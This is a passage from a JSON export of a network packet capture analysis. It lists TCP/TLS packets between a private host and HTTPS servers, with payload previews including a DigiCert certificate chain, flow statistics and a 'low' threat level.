4dc943a023571859d262b997069f396f5dfb7359d2d3daa239e6c87685a06c6be9a49ee04fa0f53367f0a231e548b5fd87fe5cfada28d4c6cc34445b59b0bbe2b6dec7cfbb9373aded13898662846a2280e779948cc10eebb08205a5d3f802a7c64e4699270a033b4fdd97426e4c17df588644c53b3bc52068ccb04ac98b52b748cb81b0dbd0193b43efc371ee85bc813c0e12f3e16518de198ddeb7eb4e54c68e0e24f9e2b6df30d119d4f7e32f8d4d41e95e478650436ee80abd67ddf1a5d29f622d7b2059198a234a0c347f050cb04e3d256d693e0ff22ea93af535191075da94d9fccee5fa10ac6eb3d4f215be9e1994d0d20dc59f96c0c00016903001861046cb2dc716d358c459560d5a7ac3f41d57075d4c05901abd7af5103786a75991ce4ac5dd4e9b986f7187349de971935beea29eea7b996c8ac5661a4a7c002acd61a7bcf1fd546e200f30a8011c9da36c7d370413bdd131c0c4f9e5e05363a7582080401007012462da3ac474dbf719e1a3f6f805ec2eb3e89dd66b46e573c661aaa5c8d74ea7274356d885d5d6cf39760118c3e3ad6d16333ce827636ecef5827fae126f55d58505e8b0d3a6e3609ed2cd1a6a7dc44672d753eba9de8131aac5089cf5f41442cd7a033938603aed3475901dc5cb68d95e3abeeb9347a4c7ef3a042d9ec919fb3fd4630ec3bbf42308f56085d246dde01ee86f542a88f5e7a60d852bcdf9dc96e57328deefb867c3813fe796c688ccc3183889c90f4532a9849deb55410b5487eff77cbfe5117c820436fa9fbc9418f2282f3fab1a9102801bbb6e77236609c877d5cd33dba27e8193498071f89fe71ebd7fbea5ce04965f1c005b37bdf490e000000\", \"payload_ascii\": \"A1-1.crl0\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0001\\u0001\\u0004{0y0$\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0018http://ocsp.digicert.com0Q\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0002Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0\\f\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\u00020\\u00000\\u0001}\\u0006\\n+\\u0006\\u0001\\u0004\\u0001y\\u0002\\u0004\\u0002\\u0004\\u0001m\\u0004\\u0001i\\u0001g\\u0000v\\u00001~WE\\u0019E\\u007f8A!Z\\\"\\u007fv\\u000eR\\u0000\\u0000\\u0001\\u0002'\\u0000\\u0000\\u0004\\u0003\\u0000G0E\\u0002 e\\u0003\\\\Z:#mc'<\\u0002K\\u000by\\u0002!\\u0000a\\u0007\\u001c#\\\\\\u0013:8\\u001f\\u0019C\\u000eo\\u0006Z\\u0000\\u001ciJ:N\\u0000u\\u0000\\tU;Oz\\u0016\\u0019oO^U&\\u000f\\u0015.rEK\\u0014\\u0000\\u0000\\u0001\\u0002'\\u0000\\u0000\\u0004\\u0003\\u0000F0D\\u0002 Y<LB\\u00036W\\fwa\\u000ePV8\\u0018\\u0002 pzN%D={<~\\u001bH\\u007f\\u0017q2$\\u001d\\u0005H33\\u0000v\\u0000NC\\u0019$&\\u0018e\\u0001_8\\u0002\\u0001?rg}U7.\\u0019\\u0000\\u0000\\u0001\\u0002'\\u0000\\u0000\\u0004\\u0003\\u0000G0E\\u0002!\\u0000\\r\\u0016rz6\\u000b\\tKvxz3M=\\u0011\\b\\u0002 yF)[RoDH\\n\\u00057*`\\u001a\\r0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000\\u0018-@M|8%s\\u0017PiYl&\\u0013tI3_n$5ol&XvV6t\\u001ezT;r\\u001a\\u0017\\u001egS5\\u0016\\u000f\\u0003.\\\\}\\u001cR\\tR_W\\u00100\\tF48=yau+,c\\u0015OJ\\u0004F\\u0013\\n#8B>*I\\u007f+/B\\u0010x(\\u0012s%<\\u00039BR'KmA'_\\u001b;\\\\06(\\u001a\\u000b{typ C+cq\\nu^\\u0017\\u001b\\u0000\\u00040\\u00040\\u0003\\u0003\\u0002\\u0001\\u0002\\u0002\\u0010\\f\\u0006+V\\u0002zP,#f0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u00000a1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u00150\\u0013\\u0006\\u0003U\\u0004\\n\\u0013\\fDigiCert Inc1\\u00190\\u0017\\u0006\\u0003U\\u0004\\u000b\\u0013\\u0010www.digicert.com1 0\\u001e\\u0006\\u0003U\\u0004\\u0003\\u0013\\u0017DigiCert Global Root G20\\u001e\\u0017\\r210330000000Z\\u0017\\r310329235959Z0Y1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u00150\\u0013\\u0006\\u0003U\\u0004\\n\\u0013\\fDigiCert Inc1301\\u0006\\u0003U\\u0004\\u0003\\u0013*DigiCert Global G2 TLS RSA SHA256 2020 CA10\\u0001\\\"0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u0001\\u0005\\u0000\\u0003\\u0001\\u000f\\u00000\\u0001\\n\\u0002\\u0001\\u0001\\u0000\\u0010bOcoRVm'{z\\u0012V`A\\u0015p\\u0012\\u0000'\\nW8[}Qq\\u000ejA[5\\u001b{$0V}\\u0014\\u0014M\\u0010\\u0016\\\"1\\\"\\u0011ai&x\\u001f}fuDs]\\nYC:\\u000fHk7cFE}#Q\\u0007\\u001eQ_IFT\\u007f,\\u0013\\u0015<\\u00039i\\f2\\u0016WLGB|}MTB\\u0004wH\\u0011*Cp?vkLI$^\\rFlbRBu^^a\\u001f\\u001f\\u007f\\t=\\u007fGi\\u0002\\u0003\\u0001\\u0000\\u0001\\u00010\\u0001~0\\u0012\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\b0\\u0006\\u0001\\u0001\\u0002\\u0001\\u00000\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014tf7)7\\u0003\\u001d\\u00170\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014N\\\"T \\u0018n\\u000f\\u0012\\u0006\\u001790\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00010\\u001d\\u0006\\u0003U\\u001d%\\u0004\\u00160\\u0014\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u0001\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u00020v\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0001\\u0001\\u0004j0h0$\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0018http://ocsp.digicert.com0@\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u00024http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B\\u0006\\u0003U\\u001d\\u001f\\u0004;0907531http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=\\u0006\\u0003U\\u001d \\u00046040\\u000b\\u0006\\t`H\\u0001l\\u0002\\u00010\\u0007\\u0006\\u0005g\\f\\u0001\\u00010\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00010\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00020\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00030\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000p(i|t&{Se\\u0006ZCMLV_\\u0005 .YJ*.J;o)0?${\\u0007,kv3\\u0000URY\\u000f\\u0010r\\t\\u0004_.2uXW1~7\\u0001fm)\\u001af\\tmn/\\u0001\\u0014\\\\Vd\\u0001}8S]Fm\\\\'~R7|*UZ8r\\u0010\\u0000\\u0013Ls75)iv\\u0018{g\\u0003\\u0004Z!\\u0016?Y#\\r$*%Ltm@\\u0007\\u0016\\u0000\\u0001\\u0001\\u0000\\u00010\\u0001\\n\\u0001\\u0000\\u00010\\u0001\\u0006\\t+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0001\\u0004\\u00010\\u00010\\u0016\\u0004\\u0014tf7)7\\u0003\\u001d\\u0017\\u0018\\u000f20260609071900Z0s0q0I0\\t\\u0006\\u0005+\\u000e\\u0003\\u0002\\u001a\\u0005\\u0000\\u0004\\u0014[X\\u001e:ioH\\u0004\\u0014tf7)7\\u0003\\u001d\\u0017\\u0002\\u0010\\u0005ef\\u007fA\\u0004i\\f[|s\\u0000\\u0018\\u000f20260609070300Z\\u0011\\u0018\\u000f20260616060300Z0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000v0'Y:\\u00025q&+pi5-=#lhZ\\u0006I\\u0004\\u000fS6\\u007f\\n#\\u001eT_\\u007fLlDE\\u000b+m|7:8f(F(\\u000ewH\\u0010\\b Z]?*|dip3t&}dLSR\\u0006\\u0004+t\\u001b\\r\\u0001>7\\u001e[\\u0013/>\\u0016Q~LhO+m\\r\\u0011O~2\\u001exe\\u00046}\\u001a])\\\"\\u00054GP\\u0004V\\\"SQ\\u0007]M_\\n=O![M\\r Yl\\f\\u0000\\u0001i\\u0003\\u0000\\u0018a\\u0004lqm5E`?ApuY\\u0001Q\\u0003xju\\u001c]\\u0018sI\\u00195)Va\\u0002\\u001a{\\u001fF\\u0000\\n\\u00116pA;\\u0013\\u001c\\fO^\\u00056:u\\b\\u0004\\u0001\\u0000p\\u0012F-GMq\\u001a?o^>fnW<f\\u001a\\\\trt5m]]l`\\u0011>:c3v6X'&]XP^\\r:n6\\t,Dg-u>\\u0013\\u001aP_AD,3\\u0003GY\\u0001\\\\4zL~BF0;B0V\\b]$m\\u0001B^z`RnW2|8\\u0013ylh1S*IT\\u0010H~wQ\\u0017 CoA\\\"\\u0010(\\u0001r6`}\\\\='\\u00194\\u0007\\u001fq\\\\Ie\\u0005{I\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 61, \"timestamp\": 1781446967.847427, \"timestamp_iso\": \"2026-06-14T19:52:47.847427\", \"timestamp_human\": \"2026-06-14 19:52:47.847\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 36039, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64010, \"tcp_seq\": 763875031, \"tcp_ack\": 3321036119, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 62, \"timestamp\": 1781446968.271917, \"timestamp_iso\": \"2026-06-14T19:52:48.271917\", \"timestamp_human\": \"2026-06-14 19:52:48.271\", \"size\": 481, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 36040, \"ip_len\": 467, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64010, \"tcp_seq\": 763875031, \"tcp_ack\": 3321036119, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 32, \"payload_preview\": \"5f398825ce3e627b596d06209caf2fd0bddc6d6cc5fb31cee081ab2a4aa65368\", \"payload_ascii\": \"_9%>b{Ym\\u0006 /ml1*JSh\"}, {\"packet_number\": 65, \"timestamp\": 1781446968.273124, \"timestamp_iso\": \"2026-06-14T19:52:48.273124\", \"timestamp_human\": \"2026-06-14 19:52:48.273\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 36041, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64010, \"tcp_seq\": 763875458, \"tcp_ack\": 3321036206, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 67, \"timestamp\": 1781446968.273293, \"timestamp_iso\": \"2026-06-14T19:52:48.273293\", \"timestamp_human\": \"2026-06-14 19:52:48.273\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 36042, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64010, \"tcp_seq\": 763875458, \"tcp_ack\": 3321036244, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 69, \"timestamp\": 1781446968.273327, \"timestamp_iso\": \"2026-06-14T19:52:48.273327\", \"timestamp_human\": \"2026-06-14 19:52:48.273\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 36043, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64010, \"tcp_seq\": 763875458, \"tcp_ack\": 3321036360, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 70, \"timestamp\": 1781446968.699235, \"timestamp_iso\": \"2026-06-14T19:52:48.699235\", \"timestamp_human\": \"2026-06-14 19:52:48.699\", \"size\": 1082, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 36044, \"ip_len\": 1068, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64010, \"tcp_seq\": 763875458, \"tcp_ack\": 3321036360, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 73, \"timestamp\": 1781446968.700149, \"timestamp_iso\": \"2026-06-14T19:52:48.700149\", \"timestamp_human\": \"2026-06-14 19:52:48.700\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 36045, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64010, \"tcp_seq\": 763876486, \"tcp_ack\": 3321036424, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 74, \"timestamp\": 1781446969.110451, \"timestamp_iso\": \"2026-06-14T19:52:49.110451\", \"timestamp_human\": \"2026-06-14 19:52:49.110\", \"size\": 778, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 36046, \"ip_len\": 764, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64010, \"tcp_seq\": 763876486, \"tcp_ack\": 3321036424, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 77, \"timestamp\": 1781446969.111986, \"timestamp_iso\": \"2026-06-14T19:52:49.111986\", \"timestamp_human\": \"2026-06-14 19:52:49.111\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 36047, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64010, \"tcp_seq\": 763877210, \"tcp_ack\": 3321036494, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 78, \"timestamp\": 1781446969.5847, \"timestamp_iso\": \"2026-06-14T19:52:49.584700\", \"timestamp_human\": \"2026-06-14 19:52:49.584\", \"size\": 682, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"132.245.230.33\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 36048, \"ip_len\": 668, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64010, \"tcp_seq\": 763877210, \"tcp_ack\": 3321036494, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}], \"tcp_flags\": {\"SYN\": 2, \"ACK\": 28, \"PSH\": 12}, \"packet_sizes\": [66, 54, 4102, 374, 54, 481, 54, 54, 54, 1121, 54, 777, 54, 682, 66, 54, 1518, 2954, 54, 481, 54, 54, 54, 1082, 54, 778, 54, 682], \"inter_packet_intervals\": [0.003139972686767578, 0.48205089569091797, 0.00036907196044921875, 1.106226921081543, 0.5408999919891357, 0.004094123840332031, 6.580352783203125e-05, 0.002618074417114258, 0.8278510570526123, 0.0018050670623779297, 0.734699010848999, 0.0034418106079101562, 0.40808796882629395, 0.4049220085144043, 0.0005650520324707031, 0.6144139766693115, 0.0069119930267333984, 0.003422975540161133, 0.42449021339416504, 0.0012068748474121094, 0.0001690387725830078, 3.409385681152344e-05, 0.42590785026550293, 0.0009140968322753906, 0.41030192375183105, 0.0015349388122558594, 0.4727141857147217], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 6.882858991622925, \"avg_packet_size\": 568.5714285714286, \"packets_per_second\": 4.068076947977372, \"bytes_per_second\": 2312.9923218499916, \"min_packet_size\": 54, \"max_packet_size\": 4102, \"median_packet_size\": 66, \"avg_interval\": 0.25492070339344164, \"min_interval\": 3.409385681152344e-05, \"max_interval\": 1.106226921081543}, {\"source\": \"10.152.152.11\", \"target\": \"40.98.16.46\", \"packet_count\": 16, \"total_bytes\": 1617, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [64014], \"dst_ports\": [443], \"first_packet\": 1781446969.803221, \"last_packet\": 1781446971.936602, \"packets\": [{\"packet_number\": 80, \"timestamp\": 1781446969.803221, \"timestamp_iso\": \"2026-06-14T19:52:49.803221\", \"timestamp_human\": \"2026-06-14 19:52:49.803\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.46\", \"ttl\": 128, \"ip_id\": 44951, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64014, \"dst_port\": 443, \"tcp_seq\": 962448192, \"tcp_ack\": 0, \"tcp_window\": 65535, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 82, \"timestamp\": 1781446969.803446, \"timestamp_iso\": \"2026-06-14T19:52:49.803446\", \"timestamp_human\": \"2026-06-14 19:52:49.803\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.46\", \"ttl\": 128, \"ip_id\": 44952, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64014, \"dst_port\": 443, \"tcp_seq\": 962448193, \"tcp_ack\": 4197184398, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 83, \"timestamp\": 1781446969.803682, \"timestamp_iso\": \"2026-06-14T19:52:49.803682\", \"timestamp_human\": \"2026-06-14 19:52:49.803\", \"size\": 262, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.46\", \"ttl\": 128, \"ip_id\": 44953, \"ip_len\": 248, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64014, \"dst_port\": 443, \"tcp_seq\": 962448193, \"tcp_ack\": 4197184398, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 87, \"timestamp\": 1781446970.149514, \"timestamp_iso\": \"2026-06-14T19:52:50.149514\", \"timestamp_human\": \"2026-06-14 19:52:50.149\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.46\", \"ttl\": 128, \"ip_id\": 44954, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64014, \"dst_port\": 443, \"tcp_seq\": 962448401, \"tcp_ack\": 4197191366, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 89, \"timestamp\": 1781446970.149595, \"timestamp_iso\": \"2026-06-14T19:52:50.149595\", \"timestamp_human\": \"2026-06-14 19:52:50.149\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.46\", \"ttl\": 128, \"ip_id\": 44955, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64014, \"dst_port\": 443, \"tcp_seq\": 962448401, \"tcp_ack\": 4197192545, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 90, \"timestamp\": 1781446970.158902, \"timestamp_iso\": \"2026-06-14T19:52:50.158902\", \"timestamp_human\": \"2026-06-14 19:52:50.158\", \"size\": 212, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.46\", \"ttl\": 128, \"ip_id\": 44956, \"ip_len\": 198, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64014, \"dst_port\": 443, \"tcp_seq\": 962448401, \"tcp_ack\": 4197192545, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 98, \"payload_preview\": \"61048502d11294692fe27743f60c329406af7867056a417ccd4fef0cd9db5abbe0f60ca75076fbbd5ac4f686c2352da5764c2e93ddf78120904ac35fac0146429eac4d4a5606bf0538f3f6770c61c98d882b080bd23d1a7bd2bb2ddc8d00726263e2\", \"payload_ascii\": \"a\\u0004\\u0002\\u0012i/wC\\f2\\u0006xg\\u0005jA|O\\fZ\\fPvZ5-vL. J_\\u0001FBMJV\\u0006\\u00058w\\fa+\\b\\u000b=\\u001a{-\\u0000rbc\"}, {\"packet_number\": 93, \"timestamp\": 1781446970.617039, \"timestamp_iso\": \"2026-06-14T19:52:50.617039\", \"timestamp_human\": \"2026-06-14 19:52:50.617\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.46\", \"ttl\": 128, \"ip_id\": 44957, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64014, \"dst_port\": 443, \"tcp_seq\": 962448559, \"tcp_ack\": 4197192972, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 94, \"timestamp\": 1781446970.617995, \"timestamp_iso\": \"2026-06-14T19:52:50.617995\", \"timestamp_human\": \"2026-06-14 19:52:50.617\", \"size\": 141, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.46\", \"ttl\": 128, \"ip_id\": 44958, \"ip_len\": 127, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64014, \"dst_port\": 443, \"tcp_seq\": 962448559, \"tcp_ack\": 4197192972, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 96, \"timestamp\": 1781446970.618029, \"timestamp_iso\": \"2026-06-14T19:52:50.618029\", \"timestamp_human\": \"2026-06-14 19:52:50.618\", \"size\": 170, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.46\", \"ttl\": 128, \"ip_id\": 44959, \"ip_len\": 156, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64014, \"dst_port\": 443, \"tcp_seq\": 962448646, \"tcp_ack\": 4197192972, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 98, \"timestamp\": 1781446970.618076, \"timestamp_iso\": \"2026-06-14T19:52:50.618076\", \"timestamp_human\": \"2026-06-14 19:52:50.618\", \"size\": 92, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.46\", \"ttl\": 128, \"ip_id\": 44960, \"ip_len\": 78, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64014, \"dst_port\": 443, \"tcp_seq\": 962448762, \"tcp_ack\": 4197192972, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 101, \"timestamp\": 1781446970.973817, \"timestamp_iso\": \"2026-06-14T19:52:50.973817\", \"timestamp_human\": \"2026-06-14 19:52:50.973\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.98.16.46\", \"ttl\": 128, \"ip_id\": 44961, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64014, \"dst_port\": 443, \"tcp_seq\": 